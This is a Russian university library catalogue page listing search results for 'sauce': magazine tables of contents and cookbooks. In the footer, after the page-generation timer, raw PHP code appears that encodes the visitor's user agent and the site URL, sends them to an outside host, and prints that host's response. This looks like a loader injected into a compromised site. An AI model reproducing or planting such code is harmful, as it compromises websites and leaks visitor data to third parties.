Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

110 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=Соус")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 89
81. 
Молочная промышленность. - Журнал, 2010г. № 11
Оглавление 
  • "СКЭС-Б". - с.76
  • Лифанова, С. П. "Биокоретрон Форте" / С. П. Лифанова. - с.75
  • Огнева, О. А. "Кормикс - СО" / О. А. Огнева. - с.74
  • Селионова, М. И. Биологически активные вещества / М. И. Селионова, В. С. Суров, В. В. Тягилев. - с.73-74
  • Сивкин, Н. В. Оценка количества соматических клеток в молоке коров в период лактации / Н. В. Сивкин, Н. И. Стрекозов. - с.71-72
  • Тимофеев, А. Н. Молоко коров ярославской породы / А. Н. Тимофеев, Д. Д. Арсеньев, Е. А. Дмитриевская. - с.70
  • ЗАО "Малино": перспективы развития молочного животноводства. - с.68-69
  • Органическое молоко - будущее молочного комбината "Ставропольский". - с.67
  • Шепелева, Е. В. Процессы создания продукции при разработке интегрированной СМКиБ на основе требований ИСО 9001: 2008 и ИСО 22000: 2005 / Е. В. Шепелева, Е. В. Митасева, И. И. Комиссарова. - с.61-66
  • Мельников, В. В. Современные технологии производства ЗМЖ / В. В. Мельников. - с.59-60
  • Новый кислосливочный соус. - с.58
  • Степанова, Л. И. Альтернативы сливочному маслу: экономическая неоходимость или новый виток в создании здоровых продуктов / Л. И. Степанова. - с.56-57
  • Захарова, Л. М. Функциональный кисломолочный напиток "Биоритм" / Л. М. Захарова, М. А. Захаренко. - с.55
  • Высокие технологии - характерная черта развития современной России. - с.50-52
  • Биопродукты "Бифилайф". - с.49
  • Страничка технолога. - с.48
  • Ананьева, Н. В. Повышение качества молока и молочных продуктов - залог здоровья нации / Н. В. Ананьева. - с.42-47
  • Горина, Т. А. Chr. Hansen - надежный партнер в молочном бизнесе / Т. А. Горина. - с.40-41
  • Раскошная, Т. А. Питательные среды для культивирования ацидофильной молочнокислой палочки / Т. А. Раскошная, В. Ф. Семенихина. - с.39
  • В помощь микробиологу. - с.38
  • Бурыкин, А. И. Уравнение для контроля и управления влажностью продукта в процессе сушки / А. И. Бурыкин. - с.36
  • Современное оборудование для производства традиционного творога. - с.35
  • Байгильдин, К. Р. Экономический эффект фреоновых холодильных установок с пленочными испарителями / К. Р. Байгильдин. - с.32
  • Алимина, О. Л. "Серый" тормоз бизнеса / О. Л. Алимина. - с.30-31
  • Миллер, М. Существенное повышение уровня автоматизации / М. Миллер, М. Полыновская. - с.28-29
  • Вильгельм, С. Сколько MES нужно предприятию? / С. Вильгельм. - с.26-27
  • Бушуева, И. Г. VII специализированный конгресс "Молочная промышленность Сибири" / И. Г. Бушуева. - с.22-25
  • Абросимова, С. В. Комментарии к Закону N 163-ФЗ от 22 июля 2010 г. "О внесении изменений в Федеральный закон "Технический регламент на молоко и молочную продукцию" / С. В. Абросимова. - с.20-21
  • Константинов, В. А. Классификация затрат для целей управленческого анализа / В. А. Константинов. - с.17-18
  • Волков, А. В. Молочный рынок Костромской области: анализ развития / А. В. Волков, И. А. Дубровин. - с.14-16
  • Перевертайло, Д. В. Состояние и развитие молочной отрасли Архангельской области / Д. В. Перевертайло. - с.11-12
  • Горощенко, Л. Г. Импорт и экспорт молочной продукции (коды ТН ВЭД 04. 02 и ТН ВЭД 04. 03) / Л. Г. Горощенко. - с.7-10
Держатели документа (Информация об экземплярах) 
82. 
Наука и жизнь. - Журнал, 2011г. № 8
Оглавление 
  • [Новинки отечественной науки и техники]. - с.24-25
  • [Новости иностранной науки и техники]. - с.62-65
  • Балабанов, Игорь. Узелок на память / И. Балабанов. - с.92-94
  • [Интересные факты и цифры из жизни общества]. - с.104-105
  • Суперанская, Александра. [Происхождение фамилий] / А. Суперанская. - с.126-127
  • Алексеев, Александр. Испания: "Из тени в свет перелетая" / А. Алексеев. - с.38-48
  • Карпушина, Наталья. Мюнхаузен нигде не пропадет! / Н. Карпушина. - с.85-86
  • Алексеев, Александр. Белые пятна Черной Африки / А. Алексеев. - с.87-91
  • Майзингер, Рольф. Банкноты рассказывают. Из истории науки / Р. Майзингер. - с.128-133, 4-я с. обл.
  • Первушин, Антон. Космический рейс Германа Титова / А. Первушин. - с.2-10
  • Дмитревский, Михаил. Земные отблески космических успехов / М. Дмитревский. - с.11-13
  • Ильин, Александр. Что век идущий нам готовит. Настоящее и будущее отечественного космоса / А. Ильин. - с.14-23
  • Гулев, Сергей Константинович. Холодно... теплее... горячо! Или почему климатические прогнозы такие точные / С. К. Гулев. - с.26-34
  • Опаловая наноматрица дает рентген. - с.35
  • Смирнов, Сергей. Возвращение московского планетария / С. Смирнов. - с.36-37
  • Смирнов, Сергей. Электростатика вместо хлорки / С. Смирнов. - с.37
  • Наука и жизнь в начале XX века. - с.49
  • Александров, Евгений. Еще раз о постоянстве скорости света / Е. Александров. - с.50-51
  • Манукян, Андраник. Цветная хроника эволюции / А. Манукян. - с.52-59, 1-я с. обл.
  • Какого цвета был конфуциусорнис. - с.59
  • Занятнов, Дмитрий. Электроэнергия от "Энергии" / Д. Занятнов, А. Жаров. - с.60-61
  • Бурас, Мария. Жизнь и судьба гипотезы лингвистической относительности / М. Бурас, М. Кронгауз. - с.66-72
  • [Научно-популярные журналы мира сообщают]. - с.78-80
  • Руденко, Борис. Имя ветра / Б. Руденко. - с.81-83
  • Кендиван, Ольга. Озеро-чернильница / О. Кендиван. - с.84-85
  • Черникова, Наталия. "Вакансы" заканчиваются, пора собирать портфель / Н. Черникова. - с.95-96
  • Епатко, Андрей. "Русское сокровище" экспедиции Лаперуза / А. Епатко. - с.97-103
  • Терентьев, Анатолий. Встреча с драконом / А. Терентьев. - с.106-112
  • Зимина, Татьяна. Русские вновь на Аляске / Т. Зимина. - с.113
  • Гик, Евгений. Год Михаила Ботвинника / Е. Гик. - с.114-118
  • Кулик, Николай. Легенда о каменных кучах / Н. Кулик. - с.119-122
  • Диагноз без пациента. - с.125
  • Удовицкий, Андрей. Выращиваем листоклубни / А. Удовицкий. - с.124-125
  • Сокольский, Игорь. Соус из "яблок любви" / И. Сокольский. - с.134-136
  • Домашний кетчуп. - с.136
  • Хорсун, Максим. Гражданин Кидонии / М. Хорсун. - с.140-141
  • Шалавеене, Марина. Тысячеликий лист / М. Шалавеене. - с.142-144, 3-я с. обл.
83. 
СПРОС. - Журнал, 2008г. № 9
Оглавление 
  • Это мой натуральный цвет. - с.6-9
    Кл. слова: СОУС
  • Весь букет в одном пакете. - с.10-15
    Кл. слова: ЧАЙ
  • Универсальные солдаты. - с.16-21
    Кл. слова: КОМБАЙН кухонный
  • Конец света. - с.22-25
    Кл. слова: ИСТОЧНИК бесперебойного питания
  • К доске!. - с.26-28
    Кл. слова: ДОСКА офисная информационная
  • На собственной щетине. - с.29-31
    Кл. слова: ПЕНА для бритья
  • Если волосы заболели.... - с.32-33
    Кл. слова: ЛЕЧЕНИЕ волос
  • Прописка на даче. - с.44-45
    Кл. слова: ПРОПИСКА на даче
  • Колдаев, О. Ипотека или аренда / О. Колдаев. - с.56-58
    Кл. слова: ИПОТЕКА
  • Закон об осаго изменили. - с.62-64
    Кл. слова: ОСАГО
Держатели документа (Информация об экземплярах) 
84. 
Химия и жизнь - XXI век. - Журнал, 2004г. № 12
Оглавление 
  • Материалы для строительства в космосе. - с.4
  • Белковые слова. - с.4
  • Мутации против СПИДа. - с.5
  • Эй, вы, там, наверху! Не топочите, как слоны!. - с.5
  • Благутина, В. В. Наука в мире / В. В. Благутина. - с.6-10
  • Первые 10 лет XXI века будут самыми тяжелыми для российской науки. - с.10-11
  • Как оценить уровень развития науки. - с.11
  • Михайлов, О. В. Претензии к индексу цитирования / О. В. Михайлов. - с.12
  • Гранулы сверхлегкого металла. - с.13
  • Поры чистят кровь. - с.13
  • Ловушка для фальшивомонетчика XXI века. - с.13
  • Фингалоспектрометрия. - с.13
  • Лешина, В. Водородная мини-электростанция: первые модели / В. Лешина. - с.14-17
  • Автономная Норвегия. - с.17
  • Литвинов, М. Клетки для ремонта тканей / М. Литвинов. - с.18-23
  • [Защита слонов]. - с.24
  • [Клей лягушек]. - с.24
  • [Водород вместо бензина]. - с.24
  • [Как обнаружить взрывчатку? ]. - с.25
  • [Улитки питаются рыбой]. - с.25
  • [Может ли синестезия быть врожденной? ]. - с.25
  • ["Умная одежда"]. - с.25
  • Котина, Е. Переносчики мыслей / Е. Котина. - с.26-27
  • Прозоровский, В. Б. Лекарство и плацебо / В. Б. Прозоровский. - с.28-31
  • Ашкинази, Л. Смотри мне в глаза! / Л. Ашкинази. - с.32-34
  • Нитинол укрепит древние храмы. - с.35
  • Полет по плазменному лучу. - с.35
  • Жизнь как гипертекст. - с.35
  • Комаров, С. М. Спасение русских дагеротипов / С. М. Комаров. - с.36-39
  • Леенсон, И. А. Вода, мышьяк и последствия / И. А. Леенсон. - с.40-43
  • Леенсон, И. А. Откуда твое имя? / И. А. Леенсон. - с.44-47
  • Фиалков, Юрий Яковлевич. Со студентами на кукурузе / Ю. А. Фиалков. - с.48-50
  • Гольдреер, М. Винный соус / М. Гольдреер. - с.51
  • Шварцбург, А. Б. Под знаком совы / А. Б. Шварцбург. - с.52-55
  • Павшук, Е. Непозорная премия / Е. Павшук. - с.57-60
  • Квадрат, П. Где у верблюда кальций, или Сколько жизней у кота / П. Квадрат. - с.60-61
  • Ряшенцев, Ю. "Птеродактиль кукарекает. Наступает неолит" / Ю. Ряшенцев. - с.62-63
  • Сорокалетие начинается с поэзии. - с.69
  • Сутоцкая, Е. Дневник мой - враг мой? / Е. Сутоцкая. - с.70
  • Егорова, М. Египтяне мумифицировали животных как родственников? / М. Егорова. - с.71
  • Нас мало, но мы есть. - с.69
Держатели документа (Информация об экземплярах) 
85. 
Экология и жизнь. - Журнал, 2010г. № 1
Оглавление 
  • Самсонов, А. Л. Декабрьский диссонанс / А. Л. Самсонов. - с.4-7 : ил.
  • Сорос, Дж. Реальность: истина, политика или религия? / Дж. Сорос. - с.8-13 : фото
  • Гаджиев, А. Куда идет караван? Экологическая политика России и как к ней приспособиться / А. Гаджиев. - с.24-26 : ил.
  • Елдышев, Ю. Н. Применять нельзя отказаться, или Чего ждать от реагентов / Ю. Н. Елдышев. - с.27-31 : ил.
    Кл. слова: Дорожные реагенты, Гололед
  • Дмитриев, А. Н. "Умные" дома - экономные дома / А. Н. Дмитриев. - с.32-33 : ил.
  • Самсонов, Я. "Байер" удерживает лидерство в области экоинноваций / Я. Самсонов. - с.35-37.
    Кл. слова: Снижение уровня загрязнения, Экологически ориентированный бизнес
  • Ермаков, Д. С. Обеспечить участие каждого / Д. С. Ермаков. - с.38-42 : ил.
  • Камакин, О. Интернет - помощник учителя / О. Камакин. - с.43-45 : ил.
  • Елдышев, Ю. Мода на науку возвращается? / Ю. Елдышев, А. Яковлев. - с.46-49 : ил.
  • Елдышев, Ю. Н. Нобелевские премии - 2009 / Ю. Н. Елдышев. - с.50-56 : ил.
  • Елдышев, Ю. Н. Об инвазии и биоразнообразии / Ю. Н. Елдышев. - с.58-63 : ил.
  • Кузнецов, И. Городские стоки. Как вернуть чистую воду природе / И. Кузнецов. - с.64-67 : ил.
  • Елдышев, Ю. Н. Ох, рано нам без охраны / Ю. Н. Елдышев. - с.72-77 : ил.
    Кл. слова: Природные парки
  • Волков, А. Е. ООПТ и местное население: конфликт или сотрудничество? / А. Е. Волков. - с.76-79 : ил.
  • Чавчанидзе, А. Ш. Хлеб насущный и безопасный. Металлические примеси в пищевых продуктах / А. Ш. Чавчанидзе, С. Б. Лавринович, О. Р. Белотелов. - с.82-85 : ил.
  • Кузнецов, И. Горько, но вкусно / И. Кузнецов. - с.89-91 : ил.
    Кл. слова: Соус
86. 
Авроров, Валерий Александрович. Традиционные народные технологии приготовления пищи из натуральных продуктов [Текст] / В. А. Авроров, Н. В. Моряхина, Н. Д. Тутов, 2017. - 287 с.
Держатели документа (Информация об экземплярах) 

Приведены рецепты различных скоромных и постных блюд, холодных и горячих закусок, салатов, саусов, маринадов, напитков, выпечки, сладких блюд, пасхи, мороженого и др., приготовляемых в домашних условиях.

Даны рекомендации по достижению вкусовых качеств блюд.

Предлагаемые рецепты блюд были хорошо известны в свое время, а некоторые из них и сегодня используются на предприятиях общественного питания.

Для всех приведенных рецептов характерно использование только натурального и высококачественного растительного и животного пищевого сырья и полуфабрикатов.

Учебное пособие предназначено для студентов вузов, обучающихся по направлениям "Технология продукции и организация общественного питания", "Продукты питания из растительного сырья".

87. 
Постный стол [Текст] / ред., сост. Т. А. Ружинская, дар. А. В. Мышлявцев, 1999. - 345 с.
Держатели документа (Информация об экземплярах) 
88. 
Экология и жизнь. - Журнал, 2008г. № 5
Оглавление 
  • Панов, Е. Н. Эволюция социальной организации / Е. Н. Панов. - с.4-11 : ил.
  • Токарев, Д. И. Метаморфозы риска / Д. И. Токарев. - с.12-15 : ил.
  • Ярошинская, А. "Урановыми хвостами" - по России / А. Ярошинская. - с.22-23 : ил.
    Кл. слова: Отвальный гексафторид, Урановые хвосты
  • Водные проблемы России. - с.24-27 : ил.
    Кл. слова: Качество воды
  • Моргун, Д. В. Игры в музее. Как сделать детский экологический музей популярным / Д. В. Моргун, Т. И. Щербакова. - с.36-40 : ил.
    Кл. слова: Московская станция юннатов, Музейная педагогика
  • Яковлев, П. И. Знай свой край / П. И. Яковлев. - с.41-42 : ил.
  • Шварц, Е. А. Экология и транснациональные корпорации: от мифов к прагматизму / Е. А. Шварц. - с.48-53 : ил.
  • Эйснер, В. Будет ли заповедан Попигай? / В. Эйснер. - с.58-59 : ил.
    Кл. слова: Метеоритный кратер, Астроблема, Звездная рана
  • Рюмина, Т. Д. Сидней - Мельбурн / Т. Д. Рюмина. - с.67-73 : ил.
  • Воробьев, П. А. Нужен медицинский кодекс / П. А. Воробьев. - с.76-80 : ил.
  • Егян, Н. Вирусологи предупреждают... / Н. Егян. - с.8-183 : ил.
  • Передерин, В. Пчелы, клещи, тараканы... / В. Передерин. - с.83-84 : ил.
  • "Страшные" и "нестрашные" риски. - с.85-87 : ил.
    Кл. слова: Угроза человеку, Опасное место
  • Кузнецов, И. Наш любимый соус / И. Кузнецов. - с.89-91 : ил.
    Кл. слова: Приправа
Держатели документа (Информация об экземплярах) 
89. 
Кулинария [Текст] / П. В. Абатуров [и др.] ; дар. В. С. Михайленко, 1955. - 959, [1] с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2997 - 24.08.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.99 с.24 запросов, 0.67c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;